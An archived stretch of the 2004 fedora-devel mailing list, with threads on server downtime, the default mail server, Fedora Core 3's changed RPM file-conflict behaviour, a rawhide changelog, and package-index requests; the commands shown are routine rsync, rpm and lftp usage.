From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 29 Oct 2004 17:10:14 -0400 Subject: fedora.linux.duke.edu downtime Message-ID: <1099084213.29855.59.camel@opus.phy.duke.edu> Hi Folks, The physics department at duke university is victim of another power outage. We will be shutting down fedora.linux.duke.edu (also fedoraproject.org) for about 3 hours today starting at 6pm EDT -4UTC Thanks -sv From skvidal at phy.duke.edu Fri Oct 29 23:20:30 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 29 Oct 2004 19:20:30 -0400 Subject: fedora.linux.duke.edu downtime In-Reply-To: <200410291745.41848.gene.heskett@verizon.net> References: <1099084213.29855.59.camel@opus.phy.duke.edu> <200410291745.41848.gene.heskett@verizon.net> Message-ID: <1099092030.2786.0.camel@opus.phy.duke.edu> On Fri, 2004-10-29 at 17:45, Gene Heskett wrote: > On Friday 29 October 2004 17:10, seth vidal wrote: > >Hi Folks, > > The physics department at duke university is victim of another > > power outage. We will be shutting down fedora.linux.duke.edu (also > > fedoraproject.org) for about 3 hours today starting at 6pm EDT > > -4UTC > > > >Thanks > >-sv > > Gee, and just as I was about to fire off another wget session. I take > it you've been having too much fun there Seth? They must have > started 20 minutes early with the shutdown. :) Yah the power went out promptly at 6:00 so we shut down about 20 minutes early. We're back now. Feel free to download. -sv From john.mizell at sbcglobal.net Sat Oct 30 00:35:19 2004 From: john.mizell at sbcglobal.net (John Mizell) Date: Fri, 29 Oct 2004 17:35:19 -0700 (PDT) Subject: Mail gui config Message-ID: <20041030003519.60395.qmail@web80704.mail.yahoo.com> When can we expect development to start on a Mail server Gui tool? It seems this is one of the last servers that does not have a gui. Thanx, John Mizell From jon.nettleton at gmail.com Sat Oct 30 01:24:16 2004 From: jon.nettleton at gmail.com (Jon Nettleton) Date: Fri, 29 Oct 2004 21:24:16 -0400 Subject: Mail gui config In-Reply-To: <20041030003519.60395.qmail@web80704.mail.yahoo.com> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> Message-ID: I have a better question. When are we going to drop sendmail and switch to postfix as the default install? I find postfix more intuitive, not to mention the better security out of the box. -Jon On Fri, 29 Oct 2004 17:35:19 -0700 (PDT), John Mizell wrote: > When can we expect development to start on a Mail > server Gui tool? It seems this is one of the last > servers that does not have a gui. > > Thanx, > John Mizell > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From alexander.dalloz at uni-bielefeld.de Sat Oct 30 01:58:21 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Sat, 30 Oct 2004 03:58:21 +0200 Subject: Mail gui config In-Reply-To: References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> Message-ID: <1099101501.18072.736.camel@serendipity.dogma.lan> Am Sa, den 30.10.2004 schrieb Jon Nettleton um 3:24: > I have a better question. When are we going to drop sendmail and > switch to postfix as the default install? I find postfix more > intuitive, not to mention the better security out of the box. > > -Jon It is nice that you have a personal favourite, but it would be stupid to exclude Sendmail from Fedora because someone likes Postfix more. Alexander P.S. You raise nothing but a holy war by this. Please let us stop it in time. -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 03:53:14 up 10 days, 32 users, load average: 0.27, 0.20, 0.19 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From alexander.dalloz at uni-bielefeld.de Sat Oct 30 02:22:57 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Sat, 30 Oct 2004 04:22:57 +0200 Subject: Mail gui config In-Reply-To: <20041030003519.60395.qmail@web80704.mail.yahoo.com> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> Message-ID: <1099102976.18072.745.camel@serendipity.dogma.lan> Am Sa, den 30.10.2004 schrieb John Mizell um 2:35: > When can we expect development to start on a Mail > server Gui tool? It seems this is one of the last > servers that does not have a gui. > John Mizell Feel free to start programming :) Btw. what do you mean with the term "mail server"? Any specific one of the 3 MTAs Fedora ships with (Sendmail, Postfix, Exim) or Cyrus-IMAPd or dovecot for the IMAP/POP3 serving? Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 04:15:49 up 10 days, 55 users, load average: 0.28, 0.56, 0.54 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From dax at gurulabs.com Sat Oct 30 05:43:53 2004 From: dax at gurulabs.com (Dax Kelson) Date: Fri, 29 Oct 2004 23:43:53 -0600 Subject: FC3rc5 In-Reply-To: References: Message-ID: <1099115032.3697.5.camel@mentorng.gurulabs.com> On Fri, 2004-10-29 at 15:03, Elliot Lee wrote: > For your weekend enjoyment, please try: > > http://fedora.linux.duke.edu/FC3-rc/3/ > http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ > ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ > rsync://sunsite.mff.cuni.cz/ftp/OS/Linux/Dist/Fedora.RC/3/ > http://testing.fedora.redhat.com/tree/ (still syncing, should be ready by 8pm EDT Oct 29.) Thanks very much for the rsync'able ISOs. I was able to turn my FC3rc1 ISOs into FC3r3 ISOs quickly and easily: rsync -v --stats --progress rsync://sunsite.mff.cuni.cz/ftp/OS/Linux/Dist/Fedora.RC/3/i386/iso/FC3-i386-disc?.iso . SunSITE.MFF.CUni.CZ 2TB archive FC3-i386-disc1.iso 647069696 100% 338.67kB/s 0:31:05 (1, 25.0% of 4) FC3-i386-disc2.iso 668514304 100% 875.45kB/s 0:12:25 (2, 50.0% of 4) FC3-i386-disc3.iso 667525120 100% 652.62kB/s 0:16:38 (3, 75.0% of 4) FC3-i386-disc4.iso 398049280 100% 726.60kB/s 0:08:54 (4, 100.0% of 4) Number of files: 4 Number of files transferred: 4 Total file size: 2381158400 bytes Total transferred file size: 2381158400 bytes Literal data: 437885576 bytes Matched data: 1943272824 bytes File list size: 85 Total bytes written: 584958 Total bytes read: 438256342 wrote 584958 bytes read 438256342 bytes 104672.94 bytes/sec total size is 2381158400 speedup is 5.43 From dax at gurulabs.com Sat Oct 30 07:20:58 2004 From: dax at gurulabs.com (Dax Kelson) Date: Sat, 30 Oct 2004 01:20:58 -0600 Subject: FC3 rpm behavior change Message-ID: <1099120855.3697.8.camel@mentorng.gurulabs.com> The FC3 Release Notes say: ============= RPM's default behavior regarding file conflicts in Fedora Core 3 has changed. In the past, file conflicts (where a file from one already-installed package also appears in a package that is to be installed) caused the installation of the package containing the conflicting file to abort. In Fedora Core 3, RPM will ignore such conflicts, and the package installation will proceed, overwriting any conflicting files from previously-installed packages. ============ What's the rationale for this? Dax From seyman at wanadoo.fr Sat Oct 30 08:27:19 2004 From: seyman at wanadoo.fr (Emmanuel Seyman) Date: Sat, 30 Oct 2004 10:27:19 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099120855.3697.8.camel@mentorng.gurulabs.com> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> Message-ID: <20041030082719.GA14923@orient.maison.moi> On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: > > In Fedora Core 3, RPM will ignore such conflicts, and the package > installation will proceed, overwriting any conflicting files from > previously-installed packages. Is there any way to revert to the previous behaviour ? Emmanuel From mpeters at mac.com Sat Oct 30 08:31:20 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sat, 30 Oct 2004 08:31:20 +0000 Subject: FC3 rpm behavior change In-Reply-To: <1099120855.3697.8.camel@mentorng.gurulabs.com> (from dax@gurulabs.com on Sat Oct 30 00:20:58 2004) References: <1099120855.3697.8.camel@mentorng.gurulabs.com> Message-ID: <1099125080l.4007l.0l@devel.mpeters.us> On 10/30/2004 12:20:58 AM, Dax Kelson wrote: > > What's the rationale for this? I do not like it. I suspect that there is a setting that can change it, but I haven't looked yet. I want to know of conflicts, and I do not want the package manager to overwrite a file from another package or earlier version. From feliciano.matias at free.fr Sat Oct 30 08:47:34 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 10:47:34 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099120855.3697.8.camel@mentorng.gurulabs.com> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> Message-ID: <1099126054.11611.6.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 01:20 -0600, Dax Kelson a ?crit : > The FC3 Release Notes say: > > ============= > RPM's default behavior regarding file conflicts in Fedora Core 3 has > changed. In the past, file conflicts (where a file from one > already-installed package also appears in a package that is to be > installed) caused the installation of the package containing the > conflicting file to abort. > > In Fedora Core 3, RPM will ignore such conflicts, and the package > installation will proceed, overwriting any conflicting files from > previously-installed packages. > ============ Very poor decision. If Red Hat need this "feature" for up2date, Red Hat should add it to up2date only. man rpm : there is no --noreplacefiles option. man yum : nothing. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From NOS at Utel.no Sat Oct 30 06:51:10 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Sat, 30 Oct 2004 08:51:10 +0200 Subject: FC3 rpm behavior change In-Reply-To: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> Message-ID: <418339DE.5000404@Utel.no> Dax Kelson wrote: >The FC3 Release Notes say: > >============= > RPM's default behavior regarding file conflicts in Fedora Core 3 has > changed. In the past, file conflicts (where a file from one > already-installed package also appears in a package that is to be > installed) caused the installation of the package containing the > conflicting file to abort. > > In Fedora Core 3, RPM will ignore such conflicts, and the package > installation will proceed, overwriting any conflicting files from > previously-installed packages. >============ > >What's the rationale for this? > >Dax > > > Then my hunch about this were right. I was yelling a bit about that on IRC, but most people claimed RPM does NOT work like that. Apparantly it does on my system. Rather bad imho, it allows for easily screw up. From j.w.r.degoede at hhs.nl Sat Oct 30 09:03:29 2004 From: j.w.r.degoede at hhs.nl (Hans de Goede) Date: Sat, 30 Oct 2004 11:03:29 +0200 Subject: FC3 rpm behavior change In-Reply-To: <418339DE.5000404@Utel.no> References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> Message-ID: <418358E1.7070604@hhs.nl> This completly contradicts the reaosn for having a packagemanager in the firstplace, please explain! -- EuropeSwPatentFree http://EuropeSwPatentFree.hispalinux.es From fedora at wir-sind-cool.org Sat Oct 30 09:15:31 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 30 Oct 2004 11:15:31 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099120855.3697.8.camel@mentorng.gurulabs.com> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> Message-ID: <20041030111531.442077bb.fedora@wir-sind-cool.org> On Sat, 30 Oct 2004 01:20:58 -0600, Dax Kelson wrote: > The FC3 Release Notes say: > > ============= > RPM's default behavior regarding file conflicts in Fedora Core 3 has > changed. In the past, file conflicts (where a file from one > already-installed package also appears in a package that is to be > installed) caused the installation of the package containing the > conflicting file to abort. > > In Fedora Core 3, RPM will ignore such conflicts, and the package > installation will proceed, overwriting any conflicting files from > previously-installed packages. > ============ > > What's the rationale for this? So, --force is default now? :-O Above text was not included in FC3 Test3. I find it strange to hear about such changes after a freeze. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 0.10 0.15 0.10 From fedora at wir-sind-cool.org Sat Oct 30 09:43:05 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 30 Oct 2004 11:43:05 +0200 Subject: FC3 rpm behavior change In-Reply-To: <418339DE.5000404@Utel.no> References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> Message-ID: <20041030114305.155fa594.fedora@wir-sind-cool.org> On Sat, 30 Oct 2004 08:51:10 +0200, Nils O. Sel?sdal wrote: > Then my hunch about this were right. I was yelling a bit about that on > IRC, but most people claimed > RPM does NOT work like that. Including myself. ;) My updates from rawhide were not fresh enough. And honestly, changing RPM's behaviour in such a way after Test3 is a very questionable decision. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 0.00 0.00 0.00 P.S. GMail users click on "Show original" before mailing me that I should use "-- " instead of "--" above my signature. I'm aware of RFC2646 and Son of RFC1036. From fedora_devel_list at poczta.fm Sat Oct 30 10:07:46 2004 From: fedora_devel_list at poczta.fm (Dawid Gajownik) Date: Sat, 30 Oct 2004 12:07:46 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099126054.11611.6.camel@localhost.localdomain> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099126054.11611.6.camel@localhost.localdomain> Message-ID: <418367F2.5030706@poczta.fm> Dnia 10/30/2004 10:47 AM, U?ytkownik Matias F?liciano napisa?: > Very poor decision. I agree. Yesterday I was playing with kdewebdev and quanta packages. Installing them in wrong order makes quanta broken :/ RPM should not allow to do such a things... -- ^_* ---------------------------------------------------------------------- Startuj z INTERIA.PL!!! >>> http://link.interia.pl/f1837 From pnasrat at redhat.com Sat Oct 30 10:40:59 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Sat, 30 Oct 2004 11:40:59 +0100 Subject: FC3 rpm behavior change In-Reply-To: <20041030082719.GA14923@orient.maison.moi> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> Message-ID: <1099132859.4771.1.camel@anu.eridu> On Sat, 2004-10-30 at 10:27 +0200, Emmanuel Seyman wrote: > On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: > > > > In Fedora Core 3, RPM will ignore such conflicts, and the package > > installation will proceed, overwriting any conflicting files from > > previously-installed packages. > > Is there any way to revert to the previous behaviour ? rpm --fileconflicts Paul From feliciano.matias at free.fr Sat Oct 30 10:45:15 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 12:45:15 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099132859.4771.1.camel@anu.eridu> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> Message-ID: <1099133116.11611.39.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 11:40 +0100, Paul Nasrat a ?crit : > On Sat, 2004-10-30 at 10:27 +0200, Emmanuel Seyman wrote: > > On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: > > > > > > In Fedora Core 3, RPM will ignore such conflicts, and the package > > > installation will proceed, overwriting any conflicting files from > > > previously-installed packages. > > > > Is there any way to revert to the previous behaviour ? > > rpm --fileconflicts > Any advice for yum, apt, up2date ? > Paul > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From pnasrat at redhat.com Sat Oct 30 10:49:10 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Sat, 30 Oct 2004 11:49:10 +0100 Subject: FC3 rpm behavior change In-Reply-To: <1099133116.11611.39.camel@localhost.localdomain> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099133116.11611.39.camel@localhost.localdomain> Message-ID: <1099133350.4771.9.camel@anu.eridu> On Sat, 2004-10-30 at 12:45 +0200, Matias F?liciano wrote: > Le samedi 30 octobre 2004 ? 11:40 +0100, Paul Nasrat a ?crit : > > On Sat, 2004-10-30 at 10:27 +0200, Emmanuel Seyman wrote: > > > On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: > > > > > > > > In Fedora Core 3, RPM will ignore such conflicts, and the package > > > > installation will proceed, overwriting any conflicting files from > > > > previously-installed packages. > > > > > > Is there any way to revert to the previous behaviour ? > > > > rpm --fileconflicts > > > > Any advice for yum, apt, up2date ? All doable via the api by setting prob filter flags, this may only affect rpm CLI - so they may not be changed depending on if the reset all the flags and just set them for the transaction. I'll create a simple testcase and confirm against the apps next week. Paul From mmitu at bitdefender.com Sat Oct 30 10:59:19 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Sat, 30 Oct 2004 13:59:19 +0300 Subject: Mail gui config In-Reply-To: <1099101501.18072.736.camel@serendipity.dogma.lan> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> Message-ID: <1099133959.23131.6.camel@localhost.localdomain> On Sat, 2004-10-30 at 03:58 +0200, Alexander Dalloz wrote: > Am Sa, den 30.10.2004 schrieb Jon Nettleton um 3:24: > > > I have a better question. When are we going to drop sendmail and > > switch to postfix as the default install? I find postfix more > > intuitive, not to mention the better security out of the box. > > > > -Jon > > It is nice that you have a personal favourite, but it would be stupid to > exclude Sendmail from Fedora because someone likes Postfix more. > To exclude Sendmail, it would be stupid, but making Postfix the default MTA it would be a smart move. > Alexander > > P.S. You raise nothing but a holy war by this. Please let us stop it in > time. > There's no war involved. Just take a look @ previous default browser thread/flame and the default browser in current Fedora tree (yes, it's Firefox). -- Mircea MITU (PGP Key ID 7F284D0B) BitDefender Linux Business-Line Manager SOFTWIN - Data Security Division http://linux.bitdefender.com -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: BitDefender.txt URL: From feliciano.matias at free.fr Sat Oct 30 11:06:39 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 13:06:39 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099133350.4771.9.camel@anu.eridu> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099133116.11611.39.camel@localhost.localdomain> <1099133350.4771.9.camel@anu.eridu> Message-ID: <1099134399.11611.54.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 11:49 +0100, Paul Nasrat a ?crit : > On Sat, 2004-10-30 at 12:45 +0200, Matias F?liciano wrote: > > Le samedi 30 octobre 2004 ? 11:40 +0100, Paul Nasrat a ?crit : > > > On Sat, 2004-10-30 at 10:27 +0200, Emmanuel Seyman wrote: > > > > On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: > > > > > > > > > > In Fedora Core 3, RPM will ignore such conflicts, and the package > > > > > installation will proceed, overwriting any conflicting files from > > > > > previously-installed packages. > > > > > > > > Is there any way to revert to the previous behaviour ? > > > > > > rpm --fileconflicts > > > > > > > Any advice for yum, apt, up2date ? > > All doable via the api by setting prob filter flags, this may only > affect rpm CLI - so they may not be changed depending on if the reset > all the flags and just set them for the transaction. > > I'll create a simple testcase and confirm against the apps next week. > Does this means, the intend is only to affect rpm(8) (the program) and not other programs ? > Paul > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From buildsys at redhat.com Sat Oct 30 11:52:56 2004 From: buildsys at redhat.com (Build System) Date: Sat, 30 Oct 2004 07:52:56 -0400 Subject: rawhide report: 20041030 changes Message-ID: <200410301152.i9UBquw23729@porkchop.devel.redhat.com> Updated Packages: FreeWnn-1.10pl020-5 ------------------- * Fri Oct 29 2004 Jens Petersen - 1:1.10pl020-5 - before upgrading modify the wnn user and group (in the same way mailman does) rather than deleting and recreating them to really fix the upgrade failure with nis (136551) - simplify this by introducing %wnnuser, %wnnuid, %wnngrp, %wnngid and %wnndir and use them aspell-bg-0.50-5 ---------------- * Tue Oct 26 2004 Adrian Havill 50:0.50-5 - aspell already owns cp1251.dat (#137022) authconfig-4.6.5-3.1 -------------------- * Thu Oct 28 2004 Tomas Mraz - force broken_shadow option on network auth (#136760) gthumb-2.4.2-4 -------------- * Fri Oct 29 2004 David Malcolm - 2.4.2-4 - added patch to fix crash on startup on 64-bit architectures (#137594) * Thu Sep 30 2004 Christopher Aillon 2.4.2-3 - PreReq desktop-file-utils >= 0.9 gtk2-2.4.13-5 ------------- * Thu Oct 28 2004 Matthias Clasen - 2.4.13-5 - Include an upstream bugfix in the gtk+-2.4.9-treeview-activate.patch. This fixes a crasher bug (#137461) hal-0.4.0-10 ------------ * Thu Oct 28 2004 David Zeuthen 0.4.0-10 - Allow adding SCSI optical drives to the /etc/fstab file (#137364) - Fix typo where 'async' was used instead of 'sync' (#137456) im-sdk-12.1-4 ------------- * Fri Oct 29 2004 Akira TAGOH - 1:12.1-4 - leif-unit-revert-1961~1971.patch: reverted the changes for the per-user config stuff to avoid crashing when UNIT LE is loading. (#137007) * Thu Oct 28 2004 Jens Petersen - 1:12.1-3 - iiimf-gtk requires iiimf-libs to upgrade from FC2 without error and to run (137018) and iiimf-x requires iiimf-libs to run * Wed Oct 20 2004 Akira TAGOH - fix the ownership of /usr/lib64/im/share (136306) kernel-2.6.9-1.649 ------------------ * Fri Oct 29 2004 Dave Jones - Fix raid5 oops (#127862) * Thu Oct 28 2004 Dave Jones - Remove the possibility of some false OOM kills. (#131251) - Add more USB card readers to SCSI whitelist (#131546) - Disable CONFIG_SCHED_SMT for iseries. * Wed Oct 27 2004 Dave Jones - Reenable ISA NIC support (#136569) rpmdb-fedora-3-0.20041030 ------------------------- yum-2.1.11-2 ------------ * Fri Oct 29 2004 Jeremy Katz - 2.1.11-2 - add patch to fix multilib updates on ia32e (#135396) From Nicolas.Mailhot at laPoste.net Sat Oct 30 11:52:51 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sat, 30 Oct 2004 13:52:51 +0200 Subject: Mail gui config In-Reply-To: <1099133959.23131.6.camel@localhost.localdomain> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> Message-ID: <1099137171.29563.9.camel@rousalka.dyndns.org> Le samedi 30 octobre 2004 ? 13:59 +0300, Mircea MITU a ?crit : > On Sat, 2004-10-30 at 03:58 +0200, Alexander Dalloz wrote: > > Am Sa, den 30.10.2004 schrieb Jon Nettleton um 3:24: > > > > > I have a better question. When are we going to drop sendmail and > > > switch to postfix as the default install? I find postfix more > > > intuitive, not to mention the better security out of the box. > > > > > > -Jon > > > > It is nice that you have a personal favourite, but it would be stupid to > > exclude Sendmail from Fedora because someone likes Postfix more. > > > > To exclude Sendmail, it would be stupid, but making Postfix the default > MTA it would be a smart move. Unfortunately at this point if would not only be a smart move but a long overdue one. I hope it's not one of those cases where Novell/Suse did it first so RH won't even contemplate it. Regards, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From leonard at den.ottolander.nl Sat Oct 30 12:22:33 2004 From: leonard at den.ottolander.nl (Leonard den Ottolander) Date: Sat, 30 Oct 2004 14:22:33 +0200 Subject: lslR in the download tree Message-ID: <1099138952.4788.73.camel@athlon.localdomain> Hi, Would it be a big trouble to put lslR files in the download tree at download.fedora.us? This might help in locating packages if one isn't sure whether they are stable or in testing. Leonard. -- mount -t life -o ro /dev/dna /genetic/research From feliciano.matias at free.fr Sat Oct 30 12:37:06 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 14:37:06 +0200 Subject: lslR in the download tree In-Reply-To: <1099138952.4788.73.camel@athlon.localdomain> References: <1099138952.4788.73.camel@athlon.localdomain> Message-ID: <1099139827.3484.2.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 14:22 +0200, Leonard den Ottolander a ?crit : > Hi, > > Would it be a big trouble to put lslR files in the download tree at > download.fedora.us? This might help in locating packages if one isn't > sure whether they are stable or in testing. > Do it yourself :-) Use lftp. Example : lftp ftp-stud.fht-esslingen.de:/fedora/fedora/fedora/2/i386> find | grep xmms-cdread ./RPMS.testing/headers/xmms-cdread-0-0.14-0.fdr.4.a.2.i386.hdr ./RPMS.testing/xmms-cdread-0.14-0.fdr.4.a.2.i386.rpm ./SRPMS.testing/headers/xmms-cdread-0-0.14-0.fdr.4.a.2.src.hdr ./SRPMS.testing/xmms-cdread-0.14-0.fdr.4.a.2.src.rpm Or rsync : rsync -v -r ftp-stud.fht-esslingen.de::fedora/fedora/2/i386/ | grep xmms-cdread -rw-r--r-- 2125 2004/06/01 19:33:51 RPMS.testing/headers/xmms-cdread-0-0.14-0.fdr.4.a.2.i386.hdr -rw-r--r-- 36408 2004/06/01 19:33:51 RPMS.testing/xmms-cdread-0.14-0.fdr.4.a.2.i386.rpm -rw-r--r-- 1638 2004/06/01 19:33:52 SRPMS.testing/headers/xmms-cdread-0-0.14-0.fdr.4.a.2.src.hdr -rw-r--r-- 158888 2004/06/01 19:33:52 SRPMS.testing/xmms-cdread-0.14-0.fdr.4.a.2.src.rpm > Leonard. > > -- > mount -t life -o ro /dev/dna /genetic/research > > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From leonard at den.ottolander.nl Sat Oct 30 12:45:02 2004 From: leonard at den.ottolander.nl (Leonard den Ottolander) Date: Sat, 30 Oct 2004 14:45:02 +0200 Subject: lslR in the download tree In-Reply-To: <1099139827.3484.2.camel@localhost.localdomain> References: <1099138952.4788.73.camel@athlon.localdomain> <1099139827.3484.2.camel@localhost.localdomain> Message-ID: <1099140302.4788.97.camel@athlon.localdomain> Hello Matias, On Sat, 2004-10-30 at 14:37, Matias F?liciano wrote: > > Would it be a big trouble to put lslR files in the download tree at > > download.fedora.us? > Do it yourself :-) Such a waste of effort. Leonard. -- mount -t life -o ro /dev/dna /genetic/research From feliciano.matias at free.fr Sat Oct 30 13:00:48 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 15:00:48 +0200 Subject: lslR in the download tree In-Reply-To: <1099140302.4788.97.camel@athlon.localdomain> References: <1099138952.4788.73.camel@athlon.localdomain> <1099139827.3484.2.camel@localhost.localdomain> <1099140302.4788.97.camel@athlon.localdomain> Message-ID: <1099141248.3484.7.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 14:45 +0200, Leonard den Ottolander a ?crit : > Such a waste of effort. Are you talking about your previous post ? Or use "yum search|info". -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From leonard at den.ottolander.nl Sat Oct 30 13:04:55 2004 From: leonard at den.ottolander.nl (Leonard den Ottolander) Date: Sat, 30 Oct 2004 15:04:55 +0200 Subject: lslR in the download tree In-Reply-To: <1099141248.3484.7.camel@localhost.localdomain> References: <1099138952.4788.73.camel@athlon.localdomain> <1099139827.3484.2.camel@localhost.localdomain> <1099140302.4788.97.camel@athlon.localdomain> <1099141248.3484.7.camel@localhost.localdomain> Message-ID: <1099141495.4788.102.camel@athlon.localdomain> Hello Matias, On Sat, 2004-10-30 at 15:00, Matias F?liciano wrote: > > Such a waste of effort. > > Are you talking about your previous post ? No. I am speaking of your suggestion to let every single user create their own index instead of handling this centrally on the server. I'm very much in favour of DIY, but one can take convictions a little too far. Leonard. -- mount -t life -o ro /dev/dna /genetic/research From kyrre at solution-forge.net Sat Oct 30 13:50:10 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 30 Oct 2004 15:50:10 +0200 Subject: rawhide report: 20041030 changes In-Reply-To: <200410301152.i9UBquw23729@porkchop.devel.redhat.com> References: <200410301152.i9UBquw23729@porkchop.devel.redhat.com> Message-ID: <1099144210.9261.0.camel@kyrre> > kernel-2.6.9-1.649 > ------------------ > - Add more USB card readers to SCSI whitelist (#131546) What about this bug? https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=134094 From nhruby at uga.edu Sat Oct 30 14:33:48 2004 From: nhruby at uga.edu (nathan r. hruby) Date: Sat, 30 Oct 2004 10:33:48 -0400 (EDT) Subject: lslR in the download tree In-Reply-To: <1099141495.4788.102.camel@athlon.localdomain> References: <1099138952.4788.73.camel@athlon.localdomain> <1099139827.3484.2.camel@localhost.localdomain> <1099140302.4788.97.camel@athlon.localdomain> <1099141248.3484.7.camel@localhost.localdomain> <1099141495.4788.102.camel@athlon.localdomain> Message-ID: On Sat, 30 Oct 2004, Leonard den Ottolander wrote: > Hello Matias, > > On Sat, 2004-10-30 at 15:00, Matias F?liciano wrote: >>> Such a waste of effort. >> >> Are you talking about your previous post ? > > No. I am speaking of your suggestion to let every single user > create their own index instead of handling this centrally on > the server. > > I'm very much in favour of DIY, but one can take convictions a little > too far. > > Leonard. > > -- ------------------------------------------- nathan hruby uga enterprise information technology services production systems support metaphysically wrinkle-free ------------------------------------------- From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Sat Oct 30 14:36:09 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Sat, 30 Oct 2004 16:36:09 +0200 Subject: FC3rc5 In-Reply-To: <1099115032.3697.5.camel@mentorng.gurulabs.com> References: 